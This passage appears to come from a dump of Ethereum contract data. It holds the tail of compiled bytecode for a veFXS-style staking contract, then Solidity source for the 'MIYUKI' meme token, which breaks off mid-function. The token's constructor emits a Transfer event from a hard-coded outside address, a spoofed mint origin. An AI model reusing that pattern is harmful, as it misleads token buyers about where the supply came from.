30902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156115b557600080fd5b505afa1580156115c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115ed9190614d42565b50601d546dffffffffffffffffffffffffffff92831694509116915060ff16156116195781925061161d565b8092505b600654604080517f18160ddd00000000000000000000000000000000000000000000000000000000815290516116d39273ffffffffffffffffffffffffffffffffffffffff16916318160ddd916004808301926020929190829003018186803b15801561168957600080fd5b505afa15801561169d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116c19190614d90565b610afd85670de0b6b3a7640000613484565b95945050505050565b602081815481106116ec57600080fd5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff16905081565b60005473ffffffffffffffffffffffffffffffffffffffff16331480611750575060075473ffffffffffffffffffffffffffffffffffffffff1633145b6117dc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f596f7520617265206e6f7420746865206f776e6572206f722074686520676f7660448201527f65726e616e63652074696d656c6f636b000000000000000000000000000000006064820152608401610c90565b620f424083101561186f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602f60248201527f4d756c7469706c696572206d7573742062652067726561746572207468616e2060448201527f6f7220657175616c20746f2031653600000000000000000000000000000000006064820152608401610c90565b670de0b6b3a7640000821015611907576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603a60248201527f4d6178207665465853206d756c7469706c696572206d7573742062652067726560448201527f61746572207468616e206f7220657175616c20746f20316531380000000000006064820152608401610c90565b60008111611997576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f7665465853207065722046524158206d7573742062652067726561746572207460448201527f68616e20300000000000000000000000000000000000000000000000000000006064820152608401610c90565b600a839055600e829055600d8190556040518281527fc9d56ccdd6b954d8d74700db074cc667054f8e33c1b8d23e97021d4c588a87619060200160405180910390a17fa1676084a9eea08c6f205b60799323b364a1bd8e10aba89f0fbd94cfbf68b5dd600a54604051611a0c91815260200190565b60405180910390a17f58c7ececaeb4704a0039e0d22c1b618367f7a7b9a4e191ab9baed34898f63f2e600d54604051611a4791815260200190565b60405180910390a1505050565b60235460ff610100909104161515600114611acb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f436f6e7472616374206973206e6f7420696e206d6967726174696f6e000000006044820152606401610c90565b611ad58333611b98565b611b87576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152604c60248201527f6d73672e73656e6465722069732065697468657220616e20696e76616c69642060448201527f6d69677261746f72206f7220746865207374616b657220686173206e6f74206160648201527f7070726f766564207468656d0000000000000000000000000000000000000000608482015260a401610c90565b611b93833384846135b2565b505050565b73ffffffffffffffffffffffffffffffffffffffff81166000908152601f602052604081205460ff16611bcd57506000610be7565b73ffffffffffffffffffffffffffffffffffffffff80841660009081526021602090815260408083209386168352929052205460ff16151560011415611c1557506001610be7565b50600092915050565b60015473ffffffffffffffffffffffffffffffffffffffff163314611cc5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603560248201527f596f75206d757374206265206e6f6d696e61746564206265666f726520796f7560448201527f2063616e20616363657074206f776e65727368697000000000000000000000006064820152608401610c90565b6000546001546040805173ffffffffffffffffffffffffffffffffffffffff93841681529290911660208301527fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c910160405180910390a160018054600080547fffffffffffffffffffffffff000000000000000000000000000000000000000090811673ffffffffffffffffffffffffffffffffffffffff841617909155169055565b60005473ffffffffffffffffffffffffffffffffffffffff16331480611da6575060075473ffffffffffffffffffffffffffffffffffffffff1633145b611e32576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f596f7520617265206e6f7420746865206f776e6572206f722074686520676f7660448201527f65726e616e63652074696d656c6f636b000000000000000000000000000000006064820152608401610c90565b602380547fffffffffffffffffffffffffffffffffffffffffffffffffffffff00ffffffff81166401000000009182900460ff1615909102179055565b6000611e7d4260085461445c565b905090565b60005473ffffffffffffffffffffffffffffffffffffffff16331480611ebf575060075473ffffffffffffffffffffffffffffffffffffffff1633145b611f4b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f596f7520617265206e6f7420746865206f776e6572206f722074686520676f7660448201527f65726e616e63652074696d656c6f636b000000000000000000000000000000006064820152608401610c90565b602354610100900460ff166120055760065473ffffffffffffffffffffffffffffffffffffffff83811691161415612005576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603560248201527f43616e6e6f74207769746864726177207374616b696e6720746f6b656e73207560448201527f6e6c657373206d6967726174696f6e206973206f6e00000000000000000000006064820152608401610c90565b6000546040517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9182166004820152602481018390529083169063a9059cbb90604401602060405180830381600087803b15801561207957600080fd5b505af115801561208d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120b19190614d0e565b506040805173ffffffffffffffffffffffffffffffffffffffff84168152602081018390527f8c1256b8896378cd5044f80c202f9772b9d77dc85c8a6eb51967210b09bfaa2891015b60405180910390a15050565b73ffffffffffffffffffffffffffffffffffffffff81166000908152601c60205260408120549080612137846111d8565b73ffffffffffffffffffffffffffffffffffffffff85166000908152600f60205260408120549193509061217390600290610afd908690613539565b90506000915060005b73ffffffffffffffffffffffffffffffffffffffff86166000908152601e60205260409020548110156122cf5773ffffffffffffffffffffffffffffffffffffffff86166000908152601e60205260408120805483908110612207577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002090600502016040518060a0016040529081600082015481526020016001820154815260200160028201548152602001600382015481526020016004820154815250509050600081608001519050428260600151116122735750670de0b6b3a76400005b6040820151600061228c86670de0b6b3a7640000613442565b905060006122a9670de0b6b3a7640000610afd6112de8786613539565b90506122b58882613539565b9750505050505080806122c790614fd1565b91505061217c565b50509193909250565b60005473ffffffffffffffffffffffffffffffffffffffff16331480612315575060075473ffffffffffffffffffffffffffffffffffffffff1633145b6123a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f596f7520617265206e6f7420746865206f776e6572206f722074686520676f7660448201527f65726e616e63652074696d656c6f636b000000000000000000000000000000006064820152608401610c90565b73ffffffffffffffffffffffffffffffffffffffff16600090815260226020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00811660ff90911615179055565b60005473ffffffffffffffffffffffffffffffffffffffff16331480612432575060075473ffffffffffffffffffffffffffffffffffffffff1633145b6124be576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f596f7520617265206e6f7420746865206f776e6572206f722074686520676f7660448201527f65726e616e63652074696d656c6f636b000000000000000000000000000000006064820152608401610c90565b73ffffffffffffffffffffffffffffffffffffffff81166000908152601f602052604090205460ff161561254e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f6164647265737320616c726561647920657869737473000000000000000000006044820152606401610c90565b73ffffffffffffffffffffffffffffffffffffffff166000818152601f60209081526040822080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660019081179091558154908101825591527fc97bfaf2f8ee708c303a06d134f5ecd8389ae0432af62dc132a24118292866bb0180547fffffffffffffffffffffffff0000000000000000000000000000000000000000169091179055565b60005473ffffffffffffffffffffffffffffffffffffffff16331480612633575060075473ffffffffffffffffffffffffffffffffffffffff1633145b6126bf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f596f7520617265206e6f7420746865206f776e6572206f722074686520676f7660448201527f65726e616e63652074696d656c6f636b000000000000000000000000000000006064820152608401610c90565b602380547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff81166101009182900460ff1615909102179055565b60005473ffffffffffffffffffffffffffffffffffffffff16331480612736575060075473ffffffffffffffffffffffffffffffffffffffff1633145b6127c2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f596f7520617265206e6f7420746865206f776e6572206f722074686520676f7660448201527f65726e616e63652074696d656c6f636b000000000000000000000000000000006064820152608401610c90565b6001821015612853576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603660248201527f4d756c7469706c696572204d61782054696d65206d757374206265206772656160448201527f746572207468616e206f7220657175616c20746f2031000000000000000000006064820152608401610c90565b60018110156128e4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603660248201527f4d756c7469706c696572204d696e2054696d65206d757374206265206772656160448201527f746572207468616e206f7220657175616c20746f2031000000000000000000006064820152608401610c90565b600b829055600c8190556040518281527f0e3e3fae480c6f92291358a02bc83f04ee1971d5488596bffda7929d57ab470f9060200160405180910390a16040518181527f0534d208d75dfdbfacc1204745dd9b3c4c37e8cfc05eb5e8e3ae538aedb0a9fa906020016120fa565b60005473ffffffffffffffffffffffffffffffffffffffff1633148061298e575060075473ffffffffffffffffffffffffffffffffffffffff1633145b612a1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f596f7520617265206e6f7420746865206f776e6572206f722074686520676f7660448201527f65726e616e63652074696d656c6f636b000000000000000000000000000000006064820152608401610c90565b600780547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff16331480612a9e575060075473ffffffffffffffffffffffffffffffffffffffff1633145b612b2a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f596f7520617265206e6f7420746865206f776e6572206f722074686520676f7660448201527f65726e616e63652074696d656c6f636b000000000000000000000000000000006064820152608401610c90565b6008541580612b3a575060085442115b612bec576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152605860248201527f50726576696f7573207265776172647320706572696f64206d7573742062652060448201527f636f6d706c657465206265666f7265206368616e67696e67207468652064757260648201527f6174696f6e20666f7220746865206e657720706572696f640000000000000000608482015260a401610c90565b60128190556040518181527ffb46ca5a5e06d4540d6387b930a7c978bce0db5f449ec6b3f5d07c6e1d44f2d390602001610d08565b60008060195460001480612c355750601a54155b15612c465750506013546014549091565b612c7e612c75601a54610afd670de0b6b3a76400006112a56010546112a5600954612c6f611e6f565b90613442565b60135490613539565b61111c612ca7601a54610afd670de0b6b3a76400006112a56011546112a5600954612c6f611e6f565b60145490613539565b60005473ffffffffffffffffffffffffffffffffffffffff16331480612ced575060075473ffffffffffffffffffffffffffffffffffffffff1633145b612d79576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f596f7520617265206e6f7420746865206f776e6572206f722074686520676f7660448201527f65726e616e63652074696d656c6f636b000000000000000000000000000000006064820152608401610c90565b602380547fffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ffffff811663010000009182900460ff1615909102179055565b73ffffffffffffffffffffffffffffffffffffffff81166000908152601b6020526040812054610be790670de0b6b3a764000090610afd906112a5611545565b60005473ffffffffffffffffffffffffffffffffffffffff16331480612e32575060075473ffffffffffffffffffffffffffffffffffffffff1633145b612ebe576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f596f7520617265206e6f7420746865206f776e6572206f722074686520676f7660448201527f65726e616e63652074696d656c6f636b000000000000000000000000000000006064820152608401610c90565b601083905560118290558015611b9357611b936133be565b60005473ffffffffffffffffffffffffffffffffffffffff16331480612f13575060075473ffffffffffffffffffffffffffffffffffffffff1633145b612f9f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f596f7520617265206e6f7420746865206f776e6572206f722074686520676f7660448201527f65726e616e63652074696d656c6f636b000000000000000000000000000000006064820152608401610c90565b602380547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ffff8116620100009182900460ff1615909102179055565b60235460ff610100909104161515600114613051576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f436f6e7472616374206973206e6f7420696e206d6967726174696f6e000000006044820152606401610c90565b61305b8233611b98565b61310d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152604c60248201527f6d73672e73656e6465722069732065697468657220616e20696e76616c69642060448201527f6d69677261746f72206f7220746865207374616b657220686173206e6f74206160648201527f7070726f766564207468656d0000000000000000000000000000000000000000608482015260a401610c90565b610e29823383613eae565b60005473ffffffffffffffffffffffffffffffffffffffff16331480613155575060075473ffffffffffffffffffffffffffffffffffffffff1633145b6131e1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603060248201527f596f7520617265206e6f7420746865206f776e6572206f722074686520676f7660448201527f65726e616e63652074696d656c6f636b000000000000000000000000000000006064820152608401610c90565b60235460ff16156131f25760006011555b602380547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00811660ff90911615179055565b33600090815260216020908152604080832073ffffffffffffffffffffffffffffffffffffffff8516845290915290205460ff16156132bf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f4164647265737320616c726561647920657869737473000000000000000000006044820152606401610c90565b73ffffffffffffffffffffffffffffffffffffffff81166000908152601f602052604090205460ff1661334e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f496e76616c6964206d69677261746f72206164647265737300000000000000006044820152606401610c90565b33600090815260216020908152604080832073ffffffffffffffffffffffffffffffffffffffff9490941683529290522080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055565b6008544211156133bc576133bc614472565b565b6008544211156133d0576133bc614472565b6000806133db612c21565b6013829055601481905590925090506133f2611e6f565b6009555050565b600061343b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614850565b9392505050565b600061343b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250614898565b60008261349357506000610be7565b600061349f8385614f4d565b9050826134ac8583614f14565b1461343b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60448201527f77000000000000000000000000000000000000000000000000000000000000006064820152608401610c90565b6000806135468385614efc565b90508381101561343b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610c90565b60028054141561361e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610c90565b6002805583600161362f82826148e3565b60235465010000000000900460ff161580156136535750602354610100900460ff16155b806136725750336000908152601f602052604090205460ff1615156001145b6136fe576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f5374616b696e67206973207061757365642c206f72206d6967726174696f6e2060448201527f69732068617070656e696e6700000000000000000000000000000000000000006064820152608401610c90565b60008411613768576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f4d757374207374616b65206d6f7265207468616e207a65726f000000000000006044820152606401610c90565b73ffffffffffffffffffffffffffffffffffffffff861660009081526022602052604090205460ff16156137f8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f4164647265737320686173206265656e20677265796c697374656400000000006044820152606401610c90565b600c54831015613864576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f4d696e696d756d207374616b652074696d65206e6f74206d65740000000000006044820152606401610c90565b600b548311156138f6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602360248201527f596f752061726520747279696e6720746f206c6f636b20666f7220746f6f206c60448201527f6f6e6700000000000000000000000000000000000000000000000000000000006064820152608401610c90565b600061390184610b94565b6040517fffffffffffffffffffffffffffffffffffffffff00000000000000000000000060608a901b16602082015242603482015260548101879052909150600090607401604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0818403018152828252805160209182012073ffffffffffffffffffffffffffffffffffffffff8c166000908152601e835283902060a085018452818552429285018390529284018a9052935090919060608201906139c99089613539565b8152602090810185905282546001818101855560009485529382902083516005909202019081559082015192810192909255604081015160028301556060810151600383015560800151600490910155600654613a3e9073ffffffffffffffffffffffffffffffffffffffff16883089614a06565b601954613a4b9087613539565b60195573ffffffffffffffffffffffffffffffffffffffff88166000908152601b6020526040902054613a7e9087613539565b73ffffffffffffffffffffffffffffffffffffffff89166000908152601b6020526040812091909155613ab29089906148e3565b604080518781526020810187905290810182905273ffffffffffffffffffffffffffffffffffffffff88811660608301528916907ff400e72e69ef4402819dfc57eeddc66f5eb69bf405e0e8098b1946ec1ac14a22906080015b60405180910390a250506001600255505050505050565b600080600280541415613b92576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610c90565b60028055602354640100000000900460ff1615613c0b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f5265776172647320636f6c6c656374696f6e20697320706175736564000000006044820152606401610c90565b836001613c1882826148e3565b73ffffffffffffffffffffffffffffffffffffffff861660009081526017602090815260408083205460189092529091205490945092508315613d785773ffffffffffffffffffffffffffffffffffffffff868116600090815260176020526040808220919091556004805491517fa9059cbb000000000000000000000000000000000000000000000000000000008152888416918101919091526024810187905291169063a9059cbb90604401602060405180830381600087803b158015613ce057600080fd5b505af1158015613cf4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613d189190614d0e565b506004546040805186815273ffffffffffffffffffffffffffffffffffffffff9283166020820152878316818301529051918816917f1d2f2ca53af5d2f333bd32fdd45f9c52ad8ebe31414f7792912077fcb3876dff9181900360600190a25b8215613e9e5773ffffffffffffffffffffffffffffffffffffffff8681166000908152601860205260408082209190915560055490517fa9059cbb00000000000000000000000000000000000000000000000000000000815287831660048201526024810186905291169063a9059cbb90604401602060405180830381600087803b158015613e0657600080fd5b505af1158015613e1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613e3e9190614d0e565b506005546040805185815273ffffffffffffffffffffffffffffffffffffffff9283166020820152878316818301529051918816917f1d2f2ca53af5d2f333bd32fdd45f9c52ad8ebe31414f7792912077fcb3876dff9181900360600190a25b5050600160025590939092509050565b600280541415613f1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610c90565b600280556023546301000000900460ff1615613f92576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f5769746864726177616c732061726520706175736564000000000000000000006044820152606401610c90565b826001613f9f82826148e3565b613fd46040518060a0016040528060008019168152602001600081526020016000815260200160008152602001600081525090565b600060408201819052805b73ffffffffffffffffffffffffffffffffffffffff88166000908152601e60205260409020548110156141485773ffffffffffffffffffffffffffffffffffffffff88166000908152601e6020526040902080548290811061406a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060050201600001548614156141365773ffffffffffffffffffffffffffffffffffffffff88166000908152601e602052604090208054829081106140e1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002090600502016040518060a0016040529081600082015481526020016001820154815260200160028201548152602001600382015481526020016004820154815250509250809150614148565b8061414081614fd1565b915050613fdf565b50815185146141b3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600f60248201527f5374616b65206e6f7420666f756e6400000000000000000000000000000000006044820152606401610c90565b8160600151421015806141d3575060235462010000900460ff1615156001145b806141f25750336000908152601f602052604090205460ff1615156001145b614258576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f5374616b65206973207374696c6c206c6f636b656421000000000000000000006044820152606401610c90565b6040820151801561444d576019546142709082613442565b60195573ffffffffffffffffffffffffffffffffffffffff88166000908152601b60205260409020546142a39082613442565b73ffffffffffffffffffffffffffffffffffffffff89166000908152601b6020908152604080832093909355601e90522080548390811061430d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000918252602082206005909102018181556001810182905560028101829055600381018290556004018190556143459089906148e3565b6006546040517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8981166004830152602482018490529091169063a9059cbb90604401602060405180830381600087803b1580156143b957600080fd5b505af11580156143cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906143f19190614d0e565b50604080518281526020810188905273ffffffffffffffffffffffffffffffffffffffff89811692820192909252908916907f1d9308f6b22a2754a1c622bb30889e8f8f956c83e524d039e9d65d5f052eb90890606001613b0c565b50506001600255505050505050565b600081831061446b578161343b565b5090919050565b60085442116144dd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f506572696f6420686173206e6f742065787069726564207965742100000000006044820152606401610c90565b60006012546144f76008544261344290919063ffffffff16565b6145019190614f14565b600480546040517f70a08231000000000000000000000000000000000000000000000000000000008152309281019290925291925060009173ffffffffffffffffffffffffffffffffffffffff16906370a082319060240160206040518083038186803b15801561457157600080fd5b505afa158015614585573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906145a99190614d90565b6005546040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015291925060009173ffffffffffffffffffffffffffffffffffffffff909116906370a082319060240160206040518083038186803b15801561461857600080fd5b505afa15801561462c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906146509190614d90565b905081614670614661856001614efc565b6012546010546112a591613484565b11156146fe576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f4e6f7420656e6f7567682046585320617661696c61626c6520666f722072657760448201527f61726473210000000000000000000000000000000000000000000000000000006064820152608401610c90565b60235460ff16156147b55780614727614718856001614efc565b6012546011546112a591613484565b11156147b5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602860248201527f4e6f7420656e6f75676820746f6b656e3120617661696c61626c6520666f722060448201527f72657761726473210000000000000000000000000000000000000000000000006064820152608401610c90565b6012546147d4906147cb906112a5866001613539565b60085490613539565b6008556000806147e2612c21565b6013829055601481905590925090506147f9611e6f565b60095560065460405173ffffffffffffffffffffffffffffffffffffffff90911681527f6f2b3b3aaf1881d69a5d40565500f93ea73df36e7b6a29bf48b21479a9237fe99060200160405180910390a15050505050565b6000818361488b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c909190614eab565b5060006116d38486614f14565b600081848411156148d6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c909190614eab565b5060006116d38486614f8a565b80156148f1576148f16133be565b73ffffffffffffffffffffffffffffffffffffffff821615610e2957600080600061491b85612106565b92509250925061492a85614ba4565b73ffffffffffffffffffffffffffffffffffffffff85166000908152600f602052604090208290558281106149ae5760006149658285613442565b601a549091506149759082613539565b601a556149828482613539565b73ffffffffffffffffffffffffffffffffffffffff87166000908152601c6020526040902055506149ff565b60006149ba8483613442565b601a549091506149ca9082613442565b601a556149d78482613442565b73ffffffffffffffffffffffffffffffffffffffff87166000908152601c6020526040902055505b5050505050565b6040805173ffffffffffffffffffffffffffffffffffffffff85811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f23b872dd000000000000000000000000000000000000000000000000000000001790529151600092839290881691614aa59190614e21565b6000604051808303816000865af19150503d8060008114614ae2576040519150601f19603f3d011682016040523d82523d6000602084013e614ae7565b606091505b5091509150818015614b11575080511580614b11575080806020019051810190614b119190614d0e565b614b9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f5472616e7366657248656c7065723a205452414e534645525f46524f4d5f464160448201527f494c4544000000000000000000000000000000000000000000000000000000006064820152608401610c90565b505050505050565b73ffffffffffffffffffffffffffffffffffffffff81161561144a57600080614bcc83610a33565b73ffffffffffffffffffffffffffffffffffffffff85166000908152601760209081526040808320949094556018815283822092909255601354601583528382205560145460169092529190912055505050565b803573ffffffffffffffffffffffffffffffffffffffff81168114614c4457600080fd5b919050565b80516dffffffffffffffffffffffffffff81168114614c4457600080fd5b600060208284031215614c78578081fd5b61343b82614c20565b60008060408385031215614c93578081fd5b614c9c83614c20565b9150614caa60208401614c20565b90509250929050565b60008060408385031215614cc5578182fd5b614cce83614c20565b946020939093013593505050565b600080600060608486031215614cf0578081fd5b614cf984614c20565b95602085013595506040909401359392505050565b600060208284031215614d1f578081fd5b815161343b81615039565b600060208284031215614d3b578081fd5b5035919050565b600080600060608486031215614d56578283fd5b614d5f84614c49565b9250614d6d60208501614c49565b9150604084015163ffffffff81168114614d85578182fd5b809150509250925092565b600060208284031215614da1578081fd5b5051919050565b60008060408385031215614dba578182fd5b50508035926020909101359150565b600080600060608486031215614ddd578283fd5b83359250602084013591506040840135614d8581615039565b600080600060608486031215614e0a578283fd5b505081359360208301359350604090920135919050565b60008251614e33818460208701614fa1565b9190910192915050565b602080825282518282018190526000919060409081850190868401855b82811015614e9e5781518051855286810151878601528581015186860152606080820151908601526080908101519085015260a09093019290850190600101614e5a565b5091979650505050505050565b6020815260008251806020840152614eca816040850160208701614fa1565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b60008219821115614f0f57614f0f61500a565b500190565b600082614f48577f4e487b710000000000000000000000000000000000000000000000000000000081526012600452602481fd5b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614f8557614f8561500a565b500290565b600082821015614f9c57614f9c61500a565b500390565b60005b83811015614fbc578181015183820152602001614fa4565b83811115614fcb576000848401525b50505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156150035761500361500a565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b801515811461144a57600080fdfea264697066735822122080e78288968020c3a50518ef8c73ed7633d21ccc2e71f8d3072ab5d24f9193c164736f6c63430008040033
[ 4, 7, 16, 9, 12, 10 ]
0xf370599a7d6d9f808c006d38da3042042a3c3c9c
pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MIYUKI is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Miyuki Shiba Inu"; string private constant _symbol = "MIYUKI"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xA34ba5A90284eb14397e3B29ec35078d53A9387f); _feeAddrWallet2 = payable(0xA34ba5A90284eb14397e3B29ec35078d53A9387f); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x1449280cA1BbA5c3a0C91b1d92D2345aFF6848E4), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return 